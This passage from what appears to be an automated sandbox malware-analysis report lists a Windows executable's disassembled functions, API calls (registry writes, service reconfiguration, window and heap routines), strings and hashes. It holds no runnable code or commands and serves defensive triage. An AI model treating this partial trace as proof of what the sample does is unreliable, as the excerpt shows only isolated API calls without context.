SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 0041E196
WinHelpA.USER32(?,?,?,?), ref: 0041E1AA

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: MessageSend$CaptureH_prologHelp
String ID:
API String ID: 432264411-0
Opcode ID: d7e6a4aadf2174b1bf4ca7c56da4acede637717cedc82a7c6114aef3eb7f75ec
Instruction ID: 63847a53ec2da65469d04ecf85649cb4cd2bfe67ace49c5e447c83a99b078c9e
Opcode Fuzzy Hash: d7e6a4aadf2174b1bf4ca7c56da4acede637717cedc82a7c6114aef3eb7f75ec
Instruction Fuzzy Hash: 6421B570740208BFEB20AF52DC85FAAB7A9EF04758F00816DB505972E2CBB99D408B64

Function 00420557 Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0042058A
GetLastActivePopup.USER32(?), ref: 00420599
IsWindowEnabled.USER32(?), ref: 004205AE
EnableWindow.USER32(?,00000000), ref: 004205C1
GetWindowLongA.USER32(?,000000F0), ref: 004205D3
GetParent.USER32(?), ref: 004205E1

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 374ce7f0bfdcc695d7c0408a394c51f1c96ef073613263e9b3c2f774cd65c571
Instruction ID: 80f975c3ff168d270884f613dded32037470e86cebba9b734c8f4042b6b07953
Opcode Fuzzy Hash: 374ce7f0bfdcc695d7c0408a394c51f1c96ef073613263e9b3c2f774cd65c571
Instruction Fuzzy Hash: 9011A332702335B78631DA696C44B2FB6E85F54F61F850166ED00E3316DB6CDD828AAD

Function 0041FBCA Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0041FBD9
GetWindow.USER32(?,00000005), ref: 0041FBEA
GetDlgCtrlID.USER32(00000000), ref: 0041FBF3
GetWindowLongA.USER32(00000000,000000F0), ref: 0041FC02
GetWindowRect.USER32(00000000,?), ref: 0041FC14
PtInRect.USER32(?,?,?), ref: 0041FC24

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 0a736f8dcf31b4b492628a0d94ad3811fc9bed39f7b6e68a47e90f460842a81f
Instruction ID: 3249f790c0fe36463c5e285a2a139354fe9c17dbbec2a1426056c9da8feff8b0
Opcode Fuzzy Hash: 0a736f8dcf31b4b492628a0d94ad3811fc9bed39f7b6e68a47e90f460842a81f
Instruction Fuzzy Hash: 66015A35200129ABDB219FA49D08AEEB76CEF04751B408031FD01A5160EA38DB579AD8

Function 004035C2 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000,00000000), ref: 0040365F
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,-00000002,0000005C,00000000,00000000,?,00000000), ref: 004036F8
LocalFree.KERNEL32(00000000,00000000,?,00000000), ref: 00403793

Strings

\, xrefs: 00403726

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Local$AllocCreateDirectoryFree
String ID: \
API String ID: 1918405509-2967466578
Opcode ID: 65ca021f73c06a7fa88c1475fadb076093cbc294a8721a8d9ee059ce22c73e2a
Instruction ID: bb384b9525bccebacec33c334622a6089d16179aff06a69c122835cfe0b867fa
Opcode Fuzzy Hash: 65ca021f73c06a7fa88c1475fadb076093cbc294a8721a8d9ee059ce22c73e2a
Instruction Fuzzy Hash: 745141B0D00209EBDF10AFA1ED4ABAEBF74FF48715F10806AE5507A2C1D7790665CB5A

Function 0041515B Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0041517A
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 004151AF
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041520F

Strings

__MSVCRT_HEAP_SELECT, xrefs: 004151AA
__GLOBAL_HEAP_SELECTED, xrefs: 004151E9

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 0f89fec1f4737ae5aaf3170f1e914b2e51cf0040e9897a03fea4f2d40f5abacc
Instruction ID: 16ff50a82712356efaa4daf5fada16026282abc3d12bcf00cf8bb0440ab07d98
Opcode Fuzzy Hash: 0f89fec1f4737ae5aaf3170f1e914b2e51cf0040e9897a03fea4f2d40f5abacc
Instruction Fuzzy Hash: BD313B72D45648FEEB3186709C85BEF37689B56304F6400DBD085D5242E63C8EC6CF19

Function 004037E5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105librarystringloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00403814
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 00403848
lstrcpyn.KERNEL32(00000000,00000000,00000000), ref: 004038CC

Strings

kernel32.dll, xrefs: 0040380D
GetSystemWow64DirectoryA, xrefs: 0040383E

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProclstrcpyn
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 2801827026-4063490227
Opcode ID: c3240537bf890988a1924c9ab7b6fcd0ebdf874728c85612b7830601b5115c4d
Instruction ID: 739b59b67ae6c10ce57022e95c0ac24d13f335bf8ddc8eda0b169586e5e95f72
Opcode Fuzzy Hash: c3240537bf890988a1924c9ab7b6fcd0ebdf874728c85612b7830601b5115c4d
Instruction Fuzzy Hash: AF316271E41309BBEB10AFA1DC46BAEBFB4AB08705F104479F5047A2C1D7B957148B9A

Function 0041DBEA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000405,00000000,?), ref: 0041DCA3
GetWindowLongA.USER32(?,000000FC), ref: 0041DCB4
GetWindowLongA.USER32(?,000000FC), ref: 0041DCC4
SetWindowLongA.USER32(?,000000FC,?), ref: 0041DCE0

Strings

(, xrefs: 0041DC8E

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: LongWindow$MessageSend
String ID: (
API String ID: 2178440468-3887548279
Opcode ID: 0ac451f4261f68f857b3dda0a64c087dba9cba13e199b5b114592401dbec96a2
Instruction ID: 30de89775c2a40fc6c7fe5fa94b1886642e5cf4145755d2cdcf12796ba08d6b2
Opcode Fuzzy Hash: 0ac451f4261f68f857b3dda0a64c087dba9cba13e199b5b114592401dbec96a2
Instruction Fuzzy Hash: F731F4B1B003109FDB20AF65D945B9AB7F4FF48314F100A2EE00297291EB78E841CBD8

Function 00421D11 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 00421D42

Part of subcall function 00421E2E: lstrlen.KERNEL32(00000104,00000000,?,00421D72), ref: 00421E65

lstrcpy.KERNEL32(?,.HLP), ref: 00421DE3
lstrcat.KERNEL32(?,.INI), ref: 00421E10

Strings

.HLP, xrefs: 00421DDD
.INI, xrefs: 00421E0A

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: FileModuleNamelstrcatlstrcpylstrlen
String ID: .HLP$.INI
API String ID: 2421895198-3011182340
Opcode ID: 6a2510a5dfda07d7d3c793ff043c390b9c04a9b2be661f7cb7e1a24d987a25ce
Instruction ID: eec017e48778d7d9afbec93272a3fcde495f97628ed10df2f064a6b80f8f107b
Opcode Fuzzy Hash: 6a2510a5dfda07d7d3c793ff043c390b9c04a9b2be661f7cb7e1a24d987a25ce
Instruction Fuzzy Hash: 6C31B275A007289FDB20DF71D884BD6B7FCAF14304F5049ABE19AD2191DB78AAC48B54

Function 0041DB50 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041DB55

Strings

x?B, xrefs: 0041DB89
x?B, xrefs: 0041DB79
x?B, xrefs: 0041DB71
x?B, xrefs: 0041DB81

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: x?B$x?B$x?B$x?B
API String ID: 3519838083-3368363995
Opcode ID: fd8486e3f67ac6e473294648a1dda250dffb1c02bb18eef6ac25e2271587749b
Instruction ID: 609df5f8513973424565ac407f358e346e7dd8a68eb54ea31ec2df505264754c
Opcode Fuzzy Hash: fd8486e3f67ac6e473294648a1dda250dffb1c02bb18eef6ac25e2271587749b
Instruction Fuzzy Hash: FC0188B1D142509BCB389F1896447EDB3B0AF44715F06816FD05A53692C77CED80C64D

Function 0040E710 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0040E719
RtlReAllocateHeap.NTDLL(005E0000,00000000,?,?), ref: 0040E736
RtlAllocateHeap.NTDLL(005E0000,00000008,?), ref: 0040E746
MessageBoxA.USER32(00000000,004657F0,error,00000010), ref: 0040E75F

Strings

error, xrefs: 0040E754

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Heap$Allocate$MessageProcess
String ID: error
API String ID: 2868346564-1574812785
Opcode ID: 85932b1206c6335d03eb0688cbd37fd21f06d1d59d5735e57a3629e856177581
Instruction ID: bc98eef85687574bd61f7001ae2372fe5b7ccb65d34a30ecd8571b508e3db40c
Opcode Fuzzy Hash: 85932b1206c6335d03eb0688cbd37fd21f06d1d59d5735e57a3629e856177581
Instruction Fuzzy Hash: C2F0B475740301BFEA209F61AC0DF6B3768AB44B02F008839F501E7380E6B8EC11876E

Function 0040E09D Relevance: 7.8, APIs: 5, Instructions: 282serviceCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F9D0: PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 0040F9EA
Part of subcall function 0040F9D0: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040FA14
Part of subcall function 0040F9D0: TranslateMessage.USER32(?), ref: 0040FA1B
Part of subcall function 0040F9D0: DispatchMessageA.USER32(?), ref: 0040FA22
Part of subcall function 0040F9D0: PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 0040FA31

CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040E10D

Part of subcall function 00410520: Sleep.KERNEL32(00000000,0040E051,00000001,?,00000000,80000301), ref: 00410529

QueryServiceStatus.ADVAPI32(00000000,?), ref: 0040E05F
GlobalFree.KERNEL32(00000000), ref: 0040E145
CloseServiceHandle.ADVAPI32(00000000), ref: 0040E171
CloseServiceHandle.ADVAPI32(00000000), ref: 0040E19D

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Message$Service$CloseHandle$Peek$DispatchFreeGlobalQuerySleepStatusTranslate
String ID:
API String ID: 1939688605-0
Opcode ID: 2dca8815aa54003d82181044152292d28ca02bb92faed11f238e99d78dff407c
Instruction ID: a1feed537f02392fa31353f4438839cd5bc0d7c34471c3d70c4354054999892f
Opcode Fuzzy Hash: 2dca8815aa54003d82181044152292d28ca02bb92faed11f238e99d78dff407c
Instruction Fuzzy Hash: 9FA108B1E40205ABEB10DF95ECC1B99BBB5EF19324F280435F505BB381E379A961CB25

Function 0041339D Relevance: 7.8, APIs: 5, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60b3a48f775fc381c752be0661c9822c780db4f55394d8702b54f91c281558c
Instruction ID: b2694d42826ba9632de41ee5cf5b90c1c368bb21046679439aa2ad70e3664c2e
Opcode Fuzzy Hash: c60b3a48f775fc381c752be0661c9822c780db4f55394d8702b54f91c281558c
Instruction Fuzzy Hash: 8E91F8B1D01214BADB31AF69DC449DEBBB5DF08765F20016BF814B6390D7398EC08A6D

Function 00409399 Relevance: 7.7, APIs: 5, Instructions: 171serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 004093CB
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF), ref: 0040940E
ChangeServiceConfigA.ADVAPI32(00000000,FFFFFFFF,FFFFFFFF,FFFFFFFF,?,?,00000000,?,?,?,?), ref: 00409514
CloseServiceHandle.ADVAPI32(00000000), ref: 00409599
CloseServiceHandle.ADVAPI32(00000000), ref: 004095C5

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ChangeConfigManager
String ID:
API String ID: 3054356760-0
Opcode ID: 8f0b5651985f5d15b0c1f3314f4ad573c05049abda0c4a385857180e844b754e
Instruction ID: aed17a5fe022c921d556fe6d557ba320ea10120968abf999c936a2d4e2803dde
Opcode Fuzzy Hash: 8f0b5651985f5d15b0c1f3314f4ad573c05049abda0c4a385857180e844b754e
Instruction Fuzzy Hash: 57517B71E40305B7EB109FA19C83FAEBA70AB14705F104439FB147F2C2E7B95A508B59

Function 00414EA4 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00414F02
GetFileType.KERNEL32(?,?,00000000), ref: 00414FAD
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 00415010
GetFileType.KERNEL32(00000000,?,00000000), ref: 0041501E
SetHandleCount.KERNEL32 ref: 00415055

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 357de5d7a40d1e7b6ca2b684808c5f1cb3c34e0f72107b42676834b62f18f39f
Instruction ID: ff4fa453248ac4b2557ce79bf3f8e893191d01cb1796849a6c3b6f903abf3b64
Opcode Fuzzy Hash: 357de5d7a40d1e7b6ca2b684808c5f1cb3c34e0f72107b42676834b62f18f39f
Instruction Fuzzy Hash: C3513871600201CFC720CF69C8847E63BA0BB85328F2947BED196CB3E1D7388986C759

Function 004054CE Relevance: 7.6, APIs: 5, Instructions: 147registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00448F57,00000000,?,?), ref: 00405544
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,?,?), ref: 004055D6
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00405657
RegCloseKey.ADVAPI32(?), ref: 00405697
RegCloseKey.ADVAPI32(?), ref: 004056C3

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenValue
String ID:
API String ID: 678895439-0
Opcode ID: 5559a1388ef7b093e6759b9bb116e9f9643ba2325aebad2e0c807d652ded2aea
Instruction ID: e68f7657a3652226695a185f9f614ed7d78e3cfd894f83357e9a0b42f7ff9c4f
Opcode Fuzzy Hash: 5559a1388ef7b093e6759b9bb116e9f9643ba2325aebad2e0c807d652ded2aea
Instruction Fuzzy Hash: 80511171E41309ABEB109F90DC47BAF7B75EB09705F100436F605BA2C1D37A56508FAA

Function 004054D8 Relevance: 7.6, APIs: 5, Instructions: 147registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00448F57,00000000,?,?), ref: 00405544
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,?,?), ref: 004055D6
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00405657
RegCloseKey.ADVAPI32(?), ref: 00405697
RegCloseKey.ADVAPI32(?), ref: 004056C3

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenValue
String ID:
API String ID: 678895439-0
Opcode ID: 5fe5570e12ede8317a1ed22b620061f13cb27175053756755a3e888e23f55e47
Instruction ID: 4e79c99735c3015d1cf96eb7133a2446a450998e3d0e59ffdae0375f6c0720ca
Opcode Fuzzy Hash: 5fe5570e12ede8317a1ed22b620061f13cb27175053756755a3e888e23f55e47
Instruction Fuzzy Hash: 6D510071E41309ABEB109F90DC47BAF7B75EB09705F100436F605BA2C1D37A56508FAA

Function 004054E2 Relevance: 7.6, APIs: 5, Instructions: 147registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00448F57,00000000,?,?), ref: 00405544
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,?,?), ref: 004055D6
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00405657
RegCloseKey.ADVAPI32(?), ref: 00405697
RegCloseKey.ADVAPI32(?), ref: 004056C3

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
